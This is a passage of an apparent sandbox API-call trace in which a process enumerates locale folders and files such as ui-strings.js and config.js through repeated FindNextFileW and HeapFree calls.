lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0265.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0265.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0265.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0265.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0265.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.137] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.137] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.137] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.137] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.137] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0265.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0265.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0265.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0265.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0265.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0265.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0265.140] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0265.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0265.140] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0265.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.141] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0265.141] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.142] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0265.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.143] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0265.143] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.143] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0265.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.423] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0265.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.424] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0265.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.424] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, 